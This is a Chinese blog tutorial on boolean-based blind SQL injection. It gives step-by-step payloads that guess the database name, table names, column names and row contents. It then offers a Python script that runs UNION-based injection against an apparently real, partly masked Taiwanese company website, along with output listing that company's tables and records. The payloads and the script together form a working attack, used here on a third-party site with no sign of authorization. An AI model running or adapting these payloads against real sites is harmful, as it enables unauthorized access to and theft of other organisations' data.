SQL注入-布尔型盲注实例

布尔型盲注的手工成本很大,非常花费时间,建议写脚本来运行,整个过程属于猜解,判断数据库的名称长度,然后猜解第一位字符,第二位… 表名和字段和内容也都是相同的方式进行猜解,sqlmap工具的盲注实际上也是这种原理,只不过它是一个现成的工具了

首先需要了解到数据库的几个函数
Length():统计字符串的长度
mid(database(),1,1)字符串截取,从第一个字符开始截取,截取一个
ord() 字符转化成十进制数

布尔注入是根据页面的正确和不正确状态来判断猜解是真是假
这是页面正常输出的信息

  1. 获取数据库字符的长度

执行先后顺序先是=然后or然后and,and前的sql是ture,那么1=2是false,

假设数据库字符长度=3那么为true,所以数据库名称长度为3,若不为3那都为false,所以整个sql的结果也为false,页面则返回错误

?id=1&item_id=1' and 1=2 or Length(database())=1

此时页面返回语法错误,可以看到这个id是一个字符型数据,结尾跟了’号,那么我们使用空格–空格来注释掉结尾的’号在这里插入图片描述

再试试

?id=1&item_id=1' and 1=2 or Length(database())=1 -- test

此时页面输出不正常
在这里插入图片描述

若相等那么返回页面正常,不相等则返回页面不正常,没有信息输出 ,那么依次尝试2,3,4,5,6,7,8,9,10…
在测试到15时页面输出正常,所以推测出次数据库名称长度为7

  1. 获取数据库名称

两种方式来判断数据库名

1.使用mid()看第一个字符是不是=某个字符,但是由于字符太多,手工就非常麻烦,但是使用脚本来判断就很快了

   ?id=37 and 1=2 or mid(database(),1,1)=0x276127 
   ?id=37 and 1=2 or mid(database(),1,1)='某个字符'

2.使用ORD()转换成十进制来猜解,这种方法手工更合适

  ?id=1&item_id=1' and 1=2 or ORD(mid(database(),1,1))>100 

这句话的意思为:数据库名的第一个字符的十进制数是不是大于100

若不是则页面不返回信息,是那么返回信息,我依次判断可以得到据库名为dbcalin

  1. 获取表的总数

依旧是才通过页面返回正常不正常来判断是不是真

假设表为87张,那么为查询到的表总数87张

  select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()

是否大于80,那么页面返回正确,

  ' and 1=2 or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())>80 -- ss

这样子修改80的值来猜出表的总数

  1. 获取表名的长度
  ' and 1=2 or (select Length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)=17  -- ss

获取到第一张表的长度是不是等于17,依旧是这种方式来判断返回结果来确定表名字符的总数,依次从1开始测试

修改limit则控制第几张表,因为之前我们得知了表的总数所以知道limit最大为多少了

  1. 获取表的名字
  ' and 1=2 or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='w' -- ss 
  ' and 1=2 or ORD(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))>20 -- ss

和获取库名的方式一致,修改limit猜解不同的表名

  1. 获表的字段总数
  ' and 1=2 or (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng')>6 -- ss

查询某张表的字段总数,是不是大于6,依次修改6来推测出字段的总数

七.获取第一个字段的长度

  ' and 1=2 or (select Length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1)>6 -- ss

控制limit来判断不同的字段长度,判断方法和上面的表,数据库均一致

八.获取字段的名称

依旧是两种方式来判断

  ' and 1=2 or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1),1,1)='w' -- ss  

   'and 1=2 or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS  where TABLE_NAME='about_content_eng' limit 0,1),1,1))=100 -- ss

九.获取内容的长度

当前已知:

Database: dbcalin

Table: products_image_eng

products_image_eng 字段为:id

' and 1=2 or (select Length(id) from products_image_eng limit 0,1)<3 -- ss

id内容长度是否小于3,返回正常页面,=1正常页面则判断出长度为1

十.获取字段内容

   ' and 1=2 or mid((select id from products_image_eng limit 0,1),1,1)=1 -- ss

products_image_eng表的第一条记录的id字段的第一个字符是不是1,是等于1返回正常页面,依次来推测

  ' and 1=2 or ORD(mid((select image from products_image_eng limit 1,1),2,1))=50 -- ss

products_image_eng表的第二条记录的id字段的第二个字符的十进制数是不是50,2字符的十进制数为50,所以返回正常,当为51时错误页面无返回信息页面

关注“码点小干货”公众号,一起分享一起交流各类信息技术和工具资源

愿你眼中总有光芒! - 愿你活成想要的样子!

码点小干货


  • 依次来拆解出所有的数据表和字段和内容,这个工作还是得写脚本来跑吧,这个工作量手工实在是太大了, 还是使用union联合查询的方式数据来得比较快,于是写了个python脚本对这个库运行了然后出来很多表相关的信息

#coding:utf-8
from lxml import etree
import requests,sys
​
def talbes(db_name):
    i = 0
    print('-' * 10 + '   正在获取%s数据库中的表...   '%db_name + '-' * 10)
    while 1:
        url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,TABLE_NAME,6,7 from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1 -- ss"""%(db_name,i)
        rsp = requests.get(url).content
        xml = etree.HTML(rsp)
        tables = str(xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0])
        tables = tables.strip('\n').strip('\t').strip()
        i += 1
        if len(tables) == 0:
            break
        else:
            print('数据库:%s  第%d张表:%s' % (db_name, i, tables))
            tables_list.append((db_name,tables))
    print('-' * 10 + '   获取完成!!!  %s数据库总共%d张表!!!   '%(db_name,len(tables_list)) + '-' * 10 + '\n')
    return tables_list
​
​
def columns(db_tb_name):
    i = 0
    print('-' * 10 + '   正在获取%s数据库中%s表的所有字段...   '%(db_tb_name[0],db_tb_name[1]) + '-' * 10)
    while 1:
        url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,column_name,6,7 from information_schema.COLUMNs where TABLE_SCHEMA='%s' and table_name='%s' limit %d,1-- ss""" %(db_tb_name[0],db_tb_name[1],i)
        rsp = requests.get(url).content
        xml = etree.HTML(rsp)
        column = xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]
        i += 1
        column = column.strip('\n').strip('\t').strip()
        if len(column) == 0:
            break
        else:
            print('数据库:%s  表:%s  第%d个字段:%s' % (db_tb_name[0], db_tb_name[1],i,column))
            colums_list.append((db_tb_name[0],db_tb_name[1],column))
    print('-' * 10 + '   获取完成!!!  %s数据库总共%s表总共%d个字段!!!   '%(db_tb_name[0], db_tb_name[1],i-1) + '-' * 10 + '\n')
    return colums_list
​
def value(db_tb_cl_name):
    i = 0
    #获取多少行
    url1 = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,count(*),6,7 from %s.%s LIMIT %d,1 -- ss""" % (db_tb_cl_name[0], db_tb_cl_name[1], i)
    rsp1 = requests.get(url1).content
    xml1 = etree.HTML(rsp1)
    values1 = xml1.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]
    values1 = int(values1.strip('\n').strip('\t').strip())for i in range(values1):
        url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,%s,6,7 from %s.%s LIMIT %d,1 -- ss""" %(db_tb_cl_name[2],db_tb_cl_name[0],db_tb_cl_name[1],i)
        rsp = requests.get(url).content
        xml = etree.HTML(rsp)
        values = xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]
        values = values.strip('\n').strip('\t').strip()
        i =+ 1
        if len(values) == 0:
            break
        else:
            print('%s表 %s字段的值:%s'%(db_tb_cl_name[1],db_tb_cl_name[2],str(values).encode('utf-8')))
if __name__ == '__main__':
    tables_list = []
    colums_list = []
​
    tables_list = talbes('db****')for table in tables_list:
        columns(table)
    for column in colums_list:
        value(column)


大概这样子

----------   正在获取dbcalin数据库中的表...   ----------
数据库:dbcalin  第1张表:about_content_eng
数据库:dbcalin  第2张表:about_content_jp
数据库:dbcalin  第3张表:about_content_tw
数据库:dbcalin  第4张表:about_us_eng
数据库:dbcalin  第5张表:about_us_jp
数据库:dbcalin  第6张表:about_us_tw
数据库:dbcalin  第7张表:categories_eng
数据库:dbcalin  第8张表:categories_jp
数据库:dbcalin  第9张表:categories_tw
数据库:dbcalin  第10张表:company_explain_eng
数据库:dbcalin  第11张表:company_explain_jp
数据库:dbcalin  第12张表:company_explain_tw
数据库:dbcalin  第13张表:company_info_eng
数据库:dbcalin  第14张表:company_info_jp
数据库:dbcalin  第15张表:company_info_tw
数据库:dbcalin  第16张表:contact_us_eng
数据库:dbcalin  第17张表:contact_us_items_eng
数据库:dbcalin  第18张表:contact_us_items_jp
数据库:dbcalin  第19张表:contact_us_items_tw
数据库:dbcalin  第20张表:contact_us_jp
数据库:dbcalin  第21张表:contact_us_tw
数据库:dbcalin  第22张表:country_actuarial_eng
数据库:dbcalin  第23张表:country_actuarial_jp
​
----------   获取完成!!!  dbcalin数据库总共87张表!!!   --------------------   正在获取dbcalin数据库中system_info_tw表的所有字段...   ----------
数据库:dbcalin  表:system_info_tw  第1个字段:varName
数据库:dbcalin  表:system_info_tw  第2个字段:value
----------   获取完成!!!  dbcalin数据库  system_info_tw表总共2个字段!!!   ----------
​
about_content_eng表 id字段的值:b'1'
about_content_eng表 id字段的值:b'2'
about_content_eng表 id字段的值:b'3'
about_content_eng表 id字段的值:b'4'
about_content_eng表 id字段的值:b'5'
about_content_eng表 id字段的值:b'6'
about_content_eng表 id字段的值:b'7'
about_content_eng表 id字段的值:b'8'
about_content_eng表 id字段的值:b'9'
about_content_eng表 item_id字段的值:b'1'
about_content_eng表 item_id字段的值:b'2'
about_content_eng表 item_id字段的值:b'3'
about_content_eng表 item_id字段的值:b'4'
about_content_eng表 item_id字段的值:b'5'
about_content_eng表 item_id字段的值:b'6'
about_content_eng表 numbered字段的值:b'001'
about_content_eng表 numbered字段的值:b'002'
about_content_eng表 numbered字段的值:b'003'
about_content_eng表 numbered字段的值:b'004'
about_content_eng表 title字段的值:b'About Calin'
about_content_eng表 title字段的值:b'Core Value'
about_content_eng表 title字段的值:b'Basic Information'
about_content_eng表 title字段的值:b'Plants Brief'
about_content_eng表 title字段的值:b'Milestone'
about_content_eng表 title字段的值:b'Awards'
about_content_eng表 title字段的值:b'Organization'
about_content_eng表 title字段的值:b'Vision'
about_content_eng表 title字段的值:b'Quality/Hazardous Substances Free (HSF) Policy'
about_content_eng表 available字段的值:b'1'
about_content_eng表 createDate字段的值:b'2012-10-29'
about_content_eng表 createDate字段的值:b'2012-11-09'
about_content_jp表 id字段的值:b'1'
about_content_jp表 id字段的值:b'2'
about_content_jp表 id字段的值:b'3'
about_content_jp表 id字段的值:b'5'
about_content_jp表 id字段的值:b'6'
about_content_jp表 id字段的值:b'7'
about_content_jp表 id字段的值:b'8'
about_content_jp表 id字段的值:b'9'
about_content_jp表 id字段的值:b'10'
about_content_jp表 item_id字段的值:b'1'
about_content_jp表 item_id字段的值:b'2'
about_content_jp表 item_id字段的值:b'3'
about_content_jp表 item_id字段的值:b'4'
about_content_jp表 item_id字段的值:b'5'
about_content_jp表 item_id字段的值:b'6'
about_content_jp表 numbered字段的值:b'001'
about_content_jp表 numbered字段的值:b'002'
about_content_jp表 numbered字段的值:b'003'
about_content_jp表 numbered字段的值:b'004'
about_content_jp表 title字段的值:b'\xe3\x81\x94\xe6\x8c\xa8\xe6\x8b\xb6'
about_content_jp表 title字段的值:b'\xe7\xb5\x8c\xe5\x96\xb6\xe6\xa0\xb8\xe5\xbf\x83'
about_content_jp表 title字段的值:b'\xe4\xbc\x9a\xe7\xa4\xbe\xe6\xa6\x82\xe6\xb3\x81'
about_content_jp表 title字段的值:b'\xe4\xbc\x9a\xe7\xa4\xbe\xe6\xb2\xbf\xe9\x9d\xa9'
about_content_jp表 title字段的值:b'\xe5\x8f\x97\xe8\xb3\x9e'
about_content_jp表 title字段的值:b'\xe7\xb5\x84\xe7\xb9\x94\xe3\x81\xa8\xe5\xbd\xb9\xe5\x89\xb2'
about_content_jp表 title字段的值:b'Vision'
about_content_jp表 title字段的值:b'\xe5\x93\x81\xe8\xb3\xaa/\xe6\x9c\x89\xe5\xae\xb3\xe7\x89\xa9\xe8\xb3\xaa\xe3\x82\x92\xe4\xbd\xbf\xe7\x94\xa8\xe3\x81\x97\xe3\x81\xaa\xe3\x81\x84(HSF)\xe6\x94\xbf\xe7\xad\x96'
about_content_jp表 title字段的值:b'\xe5\xb7\xa5\xe5\xa0\xb4\xe6\xa6\x82\xe6\xb3\x81'
about_content_jp表 available字段的值:b'1'
about_content_jp表 createDate字段的值:b'2012-10-29'
about_content_jp表 createDate字段的值:b'2012-11-09'
about_content_jp表 createDate字段的值:b'2015-01-26'
about_content_tw表 id字段的值:b'1'
about_content_tw表 id字段的值:b'2'
about_content_tw表 id字段的值:b'3'
about_content_tw表 id字段的值:b'4'
about_content_tw表 id字段的值:b'5'
about_content_tw表 id字段的值:b'6'
about_content_tw表 id字段的值:b'8'
about_content_tw表 id字段的值:b'9'
about_content_tw表 id字段的值:b'11'
about_content_tw表 id字段的值:b'12'
about_content_tw表 id字段的值:b'14'
about_content_tw表 id字段的值:b'15'
about_content_tw表 id字段的值:b'16'
about_content_tw表 id字段的值:b'18'
about_content_tw表 id字段的值:b'22'
about_content_tw表 id字段的值:b'23'
about_content_tw表 item_id字段的值:b'1'
about_content_tw表 item_id字段的值:b'2'
about_content_tw表 item_id字段的值:b'7'
about_content_tw表 item_id字段的值:b'3'
about_content_tw表 item_id字段的值:b'5'
about_content_tw表 item_id字段的值:b'6'
about_content_tw表 item_id字段的值:b'9'
about_content_tw表 item_id字段的值:b'8'
about_content_tw表 item_id字段的值:b'4'
about_content_tw表 numbered字段的值:b'001'
about_content_tw表 numbered字段的值:b'002'
about_content_tw表 numbered字段的值:b'003'
about_content_tw表 numbered字段的值:b'004'
about_content_tw表 numbered字段的值:b'005'
about_content_tw表 title字段的值:b'\xe9\x97\x9c\xe6\x96\xbc\xe4\xbd\xb3\xe5\x87\x8c'
about_content_tw表 title字段的值:b'\xe6\xa0\xb8\xe5\xbf\x83\xe5\x83\xb9\xe5\x80\xbc'
about_content_tw表 title字段的值:b'\xe5\x9f\xba\xe6\x9c\xac\xe8\xb3\x87\xe6\x96\x99'
about_content_tw表 title字段的值:b'\xe5\xbb\xa0\xe5\x8d\x80\xe6\xa6\x82\xe6\xb3\x81'
about_content_tw表 title字段的值:b'\xe5\x85\xac\xe5\x8f\xb8\xe6\xb2\xbf\xe9\x9d\xa9'
about_content_tw表 title字段的值:b'\xe7\xa4\xbe\xe6\x9c\x83\xe8\xb2\xac\xe4\xbb\xbb'
about_content_tw表 title字段的值:b'\xe6\xa6\xae\xe8\xad\xbd\xe7\x8d\x8e\xe7\xab\xa0'
about_content_tw表 title字段的值:b'\xe7\xb6\x93\xe7\x87\x9f\xe7\x90\x86\xe5\xbf\xb5'
about_content_tw表 title字段的值:b'\xe5\x93\x81\xe8\xb3\xaa/\xe6\x9c\x89\xe5\xae\xb3\xe7\x89\xa9\xe8\xb3\xaa\xe6\xb8\x9b\xe5\x85\x8d(HSF)\xe6\x94\xbf\xe7\xad\x96'
about_content_tw表 title字段的值:b'\xe4\xb8\xbb\xe8\xa6\x81\xe7\x94\xa2\xe5\x93\x81'
about_content_tw表 title字段的值:b'\xe5\x9f\xba\xe6\x9c\xac\xe8\xb3\x87\xe6\x96\x99(20150728\xe4\xbf\xae\xe6\x94\xb9\xe5\x89\x8d\xe5\x82\x99\xe4\xbb\xbd)'
about_content_tw表 title字段的值:b'\xe7\xa4\xbe\xe6\x9c\x83\xe8\xb2\xac\xe4\xbb\xbb20150519'
about_content_tw表 title字段的值:b'\xe5\x88\xa9\xe5\xae\xb3\xe9\x97\x9c\xe4\xbf\x82\xe4\xba\xba\xe5\xb0\x88\xe5\x8d\x80'
about_content_tw表 title字段的值:b'\xe7\xb5\x84\xe7\xb9\x94\xe6\x9e\xb6\xe6\xa7\x8b---\xe8\x88\x8a\xe8\xb3\x87\xe6\x96\x99'
about_content_tw表 title字段的值:b'\xe7\xb5\x84\xe7\xb9\x94\xe6\x9e\xb6\xe6\xa7\x8b'
about_content_tw表 available字段的值:b'1'
about_content_tw表 available字段的值:b'0'
about_content_tw表 createDate字段的值:b'2012-10-29'
about_content_tw表 createDate字段的值:b'2015-01-13'
about_content_tw表 createDate字段的值:b'2012-11-09'
about_content_tw表 createDate字段的值:b'2015-12-24'
about_content_tw表 createDate字段的值:b'2015-07-28'
about_content_tw表 createDate字段的值:b'2015-05-19'
about_content_tw表 createDate字段的值:b'2015-08-03'
about_content_tw表 createDate字段的值:b'2018-01-10'
about_content_tw表 createDate字段的值:b'2018-06-21'
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值